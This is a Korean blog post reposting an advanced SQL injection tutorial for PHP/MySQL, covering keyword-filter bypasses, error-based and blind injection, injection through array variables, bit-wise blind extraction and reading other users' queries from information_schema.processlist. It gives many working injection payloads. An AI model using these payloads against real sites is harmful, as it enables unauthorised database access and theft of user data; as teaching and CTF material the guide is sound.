webhacking/sql, sql injection

rubiya님의 문서

qkqhxla1 2014. 8. 15. 13:16

http://hackerschool.org/Sub_Html/HS_Posting/index.html?uid=43

루비야님이 적은 sql 인젝션 문서. 엄청나게 좋은 꿀팁이기에 주소 남깁니다.

웹해킹 하시는 분이면 반드시 끝까지 다 익힙시다. 이렇게 잘 정리된 한글 문서도

드물다고 볼 수 있습니다.

이 문서 올린 팀에 가서 주섬주섬 돌아다니다 보면 진짜 감탄사 

나올 문서나 꿀팁이 많아요... 여기저기 찾아서 돌아다녀보시기 바랍니다.



SQL Injection for Expert

 

목차

* 이 문서는 어떻게 작성되었는가?
* SQL Injection Filter Bypass
* , Array 변수를 사용한 SQL Injection
* Error Based SQL Injection
* Error Based Blind SQL Injection
* Indirect SQL Injection
* Efficient Blind SQL Injection
* SQL Injection with information schema.processlist


[*] 이 문서는 어떻게 작성되었는가?

LeaveRet 소속의 rubiya 가 심화된 SQL injection 기법을 익히기를 희망하는 해커, 개발자들을 위해서 작성했다.

이 문서는 PHP, Mysql 환경에서의 SQL Injection 공격에 대한 잘 알려지지 않은 기술적인 지식에 대해서 다룰것이다.

rubiya805[at]gmail.com 으로 그에게 연락할 수 있다.



[*] SQL Injection Filter Bypass

대부분의 개발자들은 SQL Injection 으로부터 자신의 웹사이트를 보호하기 위해 싱글쿼터를 막는등의 근본적인 방어를 시도한다.
그러나 가끔 키워드를 필터링할경우가 존재하는데, 이는 대부분 오픈소스를 사용했거나 방화벽이 설치된 경우이다.
이럴 경우에 어떻게 필터링을 우회해야 하는지에 대해서 서술하겠다.

먼저 공백문자를 필터링할 경우에는 %09, %0a, %0b, %0c, %0d, %a0, /**/ 를 사용해서 공백문자를 대체할 수 있다.

이러한 키워드들이 막혔을 경우에는 ()를 사용할 수 있다.

select * from table 라는 쿼리와 select(*)from(table) 이라는 쿼리가 동일하다는 점을 사용한 기법이다.

#, -- 등의 주석이 필터링 되었을 경우에는 ;%00, /* 를 대신 사용할수도 있다. (Null문자는 magic_quotes_gpc 의 영향을 받음을 주의하자)

또한 싱글쿼터가 막혀서 문자열을 집어넣을 수 없을때는 0x, 0b를 사용해서 2진법, 16 진법으로 치환함으로써 대신할 수 있으며 환경에 따라서 x, b 만 사용해도 된다.

select x'61' = 'a'

아래처럼 0x, 0b 대신 36 진법을 사용해도 된다.

select conv(10,10,36)='A'

또한 아래처럼 가젯에서 추출하는 방법도 있다.

select substr(monthname(from_unixtime(1)),2,1)='a' // monthname(from_unixtime(1)) = 'January'

숫자를 사용할 수 없는 경우에는 auto type cast 를 사용해서 우회한다.

false = 0
true = 1
true+true = 2
floor(version()) = 5



일반적인 SQL Injection이 불가능할 경우에는 Blind SQL Injection 을 사용해야 한다.

Blind SQL Injection 을 하기 위해서는 글자를 잘라내는 과정이 선행되어야 하는데 여기서 substr 함수가 필터링될 경우가 있다.

콤마만을 필터링당했을 경우에는 select substr('asdf' from 1 for 1)='a' 라는 방법도 존재한다.

함수 자체가 필터링된 경우에는 substring 함수로 대체할수가 있다.

그러나 substring 함수에 substr 라는 문자열이 들어가기에 [substr(] 라는 단어를 필터링하지 않는이상 substr 함수와 함께 필터링될 확률이 높다.

그럴때는 like 쿼리의 와일드카드를 사용해서 아래처럼 우회할 수 있다.

select id from member where id like 'a%'
select id from member where id like 'b%'
select id from member where id like 'c%'

% 는 뒤에 몇글자가 들어오던지 상관하지않고 select 를 해주는 역할을 하는 와일드카드이기에 이런 공격이 가능한 것이다.

첫번째 글자를 알아낸 후에는 아래의 예제처럼 뒤에 한글자씩 추가해주면 된다.

select id from member where id like 'ca%'
select id from member where id like 'cb%'
select id from member where id like 'cc%'

와일드카드를 사용할때는 cat, camel, camera 처럼 여러개의 데이터가 동시에 select 될 경우가 있으니 익스플로잇을 작성할때 유의해야 한다.

like 가 필터링 당했다면 left 함수와 right 함수를 섞어서 사용함으로써 우회가 가능하다.

두 함수는 각각 1번째 인자로 들어온 값을 왼쪽, 오른쪽으로부터 2번째 인자로 들어온 값 만큼 잘라내는 함수이다.

이를 혼합해서 아래의 예제처럼 substr 함수를 대신할 수 있는 것이다.

select right(left('asd',1),1) = 'a'
select right(left('asd',2),1) = 's'
select right(left('asd',3),1) = 'd'

필터링이 더 걸려있으면 아래의 예제를 참고하자.

select mid('asd',1,1) = 'a'
select lpad('asd',1,space(1)) = 'a'
select rpad('asd',1,space(1)) = 'a'
select reverse(right(reverse('asd'),1)) = 'a'
select insert(insert('asd',1,0,space(0)),2,222,space(0)) = 'a'



concat 함수는 select 'a' 's' 'd' 'f'='asdf' 이렇게 대신할 수 있다.

if 함수는 case(), ifnull(), nullif() 로 대신할 수 있다.

ex) select case when 1=1 then sleep(1) else 1 end

sleep 함수가 막혔을 경우에는 benchmark() 함수를 사용해서 select benchmark(1000000,MD5(CHAR(118))) 이런식으로 반복적인 연산을 통해서 시간을 지연시킬 수 있다.

혹은 select (select count(*) from information_schema.columns A, information_schema.columns B, information_schema.columns C) 이런 실행시간이 오래 걸리는 쿼리를 실행함으로써 대신할수도 있다.

다만 위의 두 가지 방법은 응답하는데에 걸리는 시간이 불규칙적이라는 사실을 숙지해야한다.



[*] , Array 변수를 사용한 SQL Injection

php.ini 파일에서 magic_quotes_gpc = on 으로 설정해두면 클라이언트가 서버로 보내는 데이터에서 싱글쿼터 앞에 백슬래시를 붙여준다.

이는 SQL Injection 공격을 하는데에 큰 걸림돌이 되곤 한다.

그런데 magic_quotes_gpc 는 GET, POST, COOKIE 로 날아온 값에만 적용된다.

magic_quotes_gpc 만 믿고 , Array 변수를 데이터베이스에 함부로 날리는 개발자는 우리의 아주 좋은 먹잇감이다.

이를테면 insert into uploadfile values('filename','path') 라는 쿼리를 날렸을 경우에는 filename 대신에

fdsa'),(user(),'1234'),('asdf 라는 값을 날려서

insert into uploadfile values('asdf','fdsa'),(version(),'1234'),('asdf','path') 이런식으로 쿼리가 조작될 수 있는 것이다.

insert 쿼리에서 insert into table values('asdf',1),('fdsa',2),('zxc',3) 이런식으로 여러개의 값을 동시에 넣을 수 있다는 사실을 몰랐다면 이 기회에 알아두자.



[*] Error Based SQL Injection

에러메세지를 기반으로 하는 SQL Injection 기법은 에러메세지를 출력해주는 제한적인 환경에서만 사용이 가능하지만

쿼리 한번으로 원하는 데이터를 한번에 띄울 수 있기 때문에 로그도 적게남고 공격하는데에 소요되는 시간도 단축되서 Blind SQL Injection 기법에 비해 간편하고 빠르다.

에러기반 SQLi 기법은 mssql 환경에서는 아주 수월하다.

서로 다른 데이터형의 값을 비교하게되면 앞의 값을 뒤의 데이터형과 비교할 수 없다고 에러메세지를 한번에 뿜어주기 때문이다.

이를테면

select * from table where 'asdf'=123

이라는 쿼리를 날렸을 경우에

['asdf' 를 int 형의 값과 비교할 수 없습니다!]

라는 에러메세지가 뜬다.

그러나 mysql 에서는 auto type cast 를 해주기 때문에 서로 다른 데이터형의 값을 비교해도 아무런 문제가 없다.

원하는 값을 에러메세지에 한번에 띄우기 위해서는

select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a

이런식으로 공격해야한다.

여러개의 값에 같은 키워드를 주고 그 키워드로 정렬해서 에러를 내는 원리이다.

아래는 몇가지 예시이다.

select * from (select name_const(version(),1),name_const(version(),1))a

select * from table where 1=1 and ExtractValue(1,concat(0x01,version()))

select * from table where 1=1 and UpdateXML(1,concat(0x01,version()),1)

select * from table where (@:=1)or@ group by concat(@@version,@:=!@)having@||min(0)

환경에 맞게 골라쓰자.



[*] Error Based Blind SQL Injection

사용할 상황이 드문 공격기법이지만 알아둬서 나쁠건 없으니 개념만 알아두자.

select * from table where 1 and if(1=1,1,(select 1 union select 2))

select * from table where 1 and if(1=2,1,(select 1 union select 2))

첫번째 예제는 if 절이 1=1 로 참이 되면서 단순히 1을 반환한다.

두번째 예제는 if 절이 거짓이 되면서 select 1 union select 2 라는 쿼리를 실행하게 되고,

서브쿼리에서 복수의 값을 반환하면서 에러가 발생하게 된다. (thx to hellsonic)



[*] Indirect SQL Injection

insert into member where values('guest','123','qwe') 라는 쿼리가 있다고 해보자.

[guest'] 를 입력하면 php 단에서는 이 값을 [guest\'] 로 변경한 후에 mysql에 날려줌으로써 쿼리에 영향을 끼치지 못하도록 할 것이다.

그런데 mysql에서 직접 값을 조회하면 (외의이지만 조금만 생각해보면 당연하게도) [guest'] 라는 값이 들어가있다.

이제 [guest'] 라는 계정으로 로그인을 한다면 내 아이디는 [guest'] 가 된다.

여기서 로그를 본다던지 하는 행동을 위해 쿼리에 아이디를 직접 넣는 코드가 있다면?

이번에는 [guest'] 라는 값이 쿼리에 영향을 끼치게 된다.

이 공격은 php.ini 의 magic_quotes_runtime 옵션이 off 일때만 적용 가능하다. (thx to dmbs335@LeaveRet)



[*] Efficient Blind SQL Injection

Blind SQL Injection 을 수행할 경우에 한 글자를 알아내기 위해 90여회의 쿼리를 날려줘야한다. (아스키범위 32~127)

그러나 쿼리를 효율적으로 작성하면 한 글자당 7회의 쿼리만으로 공격이 가능하다.

각 글자를 10진수로 변환해주고 다시 2진수로 변환한 후에 lpad 함수를 사용해 7글자로 맞춰주면 된다.

페이로드는 아래와 같다.

select substr(lpad(bin(ascii(substr('asdf',1,1))),7,0),1,1)

만약 알아내야하는 값이 md5 hash 와 같은 16진수의 묶음이라고 확신할 수 있다면 아래와 같은 쿼리를 통해서 글자당 4회의 쿼리로 더욱 효율적이고 빠른 공격이 가능하다.

select substr(lpad(bin(if(ascii(substring(pw,1,1))<90,ascii(substring(pw,1,1))-48,ascii(substring(pw,1,1))-87)),4,0),1,1)

[*] SQL Injection with information schema.processlist

대형 사이트를 대상으로 SQL Injection 공격을 진행할때에는 information schema.tables 테이블에 가서 테이블 목록을 봐도 어떤 테이블에 내가 원하는 정보가 담겨있는지 알기가 힘들다.

결국 당신은 이름이 비슷비슷한 수많은 테이블의 홍수속에서 멘붕당할수도 있다.

이럴때는 information schema.processlist 테이블을 사용해서 내가 원하는 정보를 담고있는 테이블을 빠르게 찾을 수 있다.

information schema.processlist 테이블은 현재 실행중인 쿼리들을 저장해두고 있다.

이럴때 select info from information_schema.processlist 라는 쿼리를 통해서 현재 실행중인 쿼리를 볼 수 있으며, 실험해보지는 않았으나 레이스컨디션 공격을 하듯이 반복적으로 시도하면 다른 사용자가 실행중인 쿼리도 조회가 가능할것이다.

만약 다른 사용자가 로그인중일때 우리가 해당 쿼리를 조회하는데에 성공했다면 회원들의 정보가 들어있는 칼럼명과 테이블명을 한번에 볼 수 있는것이다.

[+] 마침

이 문서가 새로운 지식을 갈망하던 당신에게 작게나마 도움이 되었기를 바라며 글을 마친다.

[+] 참고문헌

http://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf

http://hellsonic.tistory.com/entry/Error-Based-MYSQL-Injection

http://websec.wordpress.com/tag/sql-filter-bypass/

'webhacking > sql, sql injection' 카테고리의 다른 글

webhacking.kr 7번 소스코드  (0) 2014.08.19
webhacking.kr 7번  (0) 2014.08.19
webhacking.kr 2번  (0) 2014.08.11
webhacking.kr 8번  (0) 2014.08.10
webhacking.kr 2번 소스코드  (0) 2014.08.10